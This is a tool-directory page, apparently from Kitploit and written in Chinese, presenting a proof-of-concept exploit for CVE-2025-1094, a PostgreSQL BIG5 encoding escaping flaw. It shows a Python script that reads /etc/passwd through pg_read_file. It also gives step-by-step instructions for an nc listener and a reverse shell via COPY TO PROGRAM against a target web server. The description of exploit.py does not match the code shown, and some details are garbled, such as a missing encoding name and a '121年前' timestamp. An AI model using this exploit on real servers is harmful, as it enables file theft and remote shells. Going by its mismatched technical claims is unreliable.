Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-1094 — 这是一个由编码不匹配导致的输入净化缺陷,允许精心构造的输入绕过过滤器。如果服务器存在漏洞,攻击者可以注入恶意SQL,由后端执行。 | Kitploit
工具/GitHubGitHub/aninfosec/cve-2025-1094
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发数据库安全实验室与实践
GitHubaninfosec/cve-2025-1094

CVE-2025-1094

这是一个由编码不匹配导致的输入净化缺陷,允许精心构造的输入绕过过滤器。如果服务器存在漏洞,攻击者可以注入恶意SQL,由后端执行。

查看仓库
121年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

我根据 CVE-2025-1094 上的 PoC 编写了这个漏洞利用程序

CVE‑2025‑1094 | PostgreSQL 输入清理漏洞

概述

CVE‑2025‑1094 是 PostgreSQL 的 libpq 转义函数和 psql 交互工具中的一个输入清理漏洞。它源于当客户端编码设置为 BIG5 时对多字节编码处理不当。在某些条件下,这会导致转义字符被错误处理,从而允许攻击者绕过预期的查询边界。

该漏洞由 Rapid7 在分析 CVE‑2024‑12356(一个独立的影响 BeyondTrust 设备的问题)时发现。PostgreSQL 的这种行为被用作更广泛的链式漏洞的一部分,以进一步影响后端行为。

工作原理

当 Web 服务器或应用程序将用户输入直接传递给通过 psql 执行的 SQL 查询,并且 client_encoding 设置为 时,特制的输入可以提前终止 SQL 语句并附加恶意的 SQL。

BIG5

这允许执行额外操作,例如通过 PostgreSQL 的 lo_export、pg_read_file 或类似函数读取本地文件(例如 /etc/passwd)。

默认情况下,这不是 PostgreSQL 中的远程代码执行 (RCE) 漏洞。相反,它是对 PostgreSQL 客户端 API 的滥用,当过滤或转义不当时,可以被滥用以泄露敏感文件内容或可能执行危险的 SQL。

影响

  • 如果 PostgreSQL 服务器配置不安全,则允许从服务器读取文件。
  • 允许拥有有效凭据的攻击者在客户端应用程序中结合 SQL 注入利用 COPY TO、pg_read_file 或 lo_export。
  • 仅当客户端编码为 BIG5 且输入未正确清理时,漏洞利用才有效。

漏洞利用所需条件

  • 攻击者拥有有效的 PostgreSQL 凭据(经过身份验证的上下文)或能够访问直接向 PostgreSQL 服务器发送输入的 Web 服务器。
  • 后端 SQL 是 PostgreSQL 并使用易受攻击的版本(2025 年 6 月修补版本之前的版本)。
  • 应用程序直接将未经清理的输入传递到 SQL 中。
  • PostgreSQL 客户端配置了 client_encoding=BIG5。

漏洞利用演示

root@kitploit:~
import psycopg2

conn = psycopg2.connect(
    host="127.0.0.1",
    dbname="test",
    user="test",
    password="Test"
)
conn.set_client_encoding("BIG5")
cursor = conn.cursor()

# 用于将 /etc/passwd 读取到服务器可访问文件的 Payload
sql = \
"""
DO $$ DECLARE f text; BEGIN f := pg_read_file('/etc/passwd', 0, 1000);
RAISE NOTICE '%%', f; END $$;
"""

cursor.execute(sql)
conn.commit()

##✅ 这个 Exploit.py 做了什么:

在环境中设置 PGCLIENTENCODING=BIG5(触发条件)。

构造一个 SQL 注入 payload,以跳出查询并插入新的 COPY TO PROGRAM 命令。

通过 GET 请求将 payload 发送给易受攻击的 Web 服务器(/search?q=...)。

如果后端使用 psql 且输入未经清理,则 COPY TO PROGRAM 会执行并写入结果或打开一个 shell。

⚠️ 反向 shell 仅在以下情况下成功:

root@kitploit:~
· 服务器使用 psql(而非参数化数据库驱动)执行 SQL

· 允许 COPY TO PROGRAM(需要超级用户)

· 拥有到攻击者的出站连接

#该 Python 脚本将一个特制的 payload 发送给易受攻击的 Web 服务器,该服务器将输入直接传递给具有 BIG5 编码的 PostgreSQL psql 进程: 使用步骤:

在终端上启动监听器:

nc -lvnp 4444

编辑漏洞利用脚本:

将 TARGET_URL 设置为目标服务器的 IP 或域名。 确认 ENDPOINT 与路由匹配(例如 /search)。 将 REVERSE_IP 和 REVERSE_PORT 调整为匹配你的攻击机。

在不同的终端中执行脚本:

python3 exploit.py

结果:如果成功,你将在监听器上收到一个连接。如果不成功,请尝试使用 pg_read_file payload 读取文件(例如 /etc/passwd)。

实验环境

要进行测试:

  • PostgreSQL 14.x(或更早的易受攻击版本)。
  • 使用 EUC_TW 或类似编码初始化。
  • 应用层(例如 Flask)使用 psql 或未转义的动态 SQL 与 PostgreSQL 交互。
  • PostgreSQL 用户必须有权访问 pg_read_file 或 lo_export 等函数。

缓解措施

  • 升级到已修补的 PostgreSQL 版本(≥ 17.3、16.7、15.11、14.16、13.19)。
  • 除非明确需要,否则避免使用 client_encoding=BIG5。
  • 切勿将原始用户输入直接传递给 SQL 执行上下文。
  • 使用预处理语句和输入验证库。

参考

  • Rapid7 博客:技术分析
  • PostgreSQL 公告:2025 年 6 月安全更新
  • CVE 详情:CVE-2025-1094
下载工具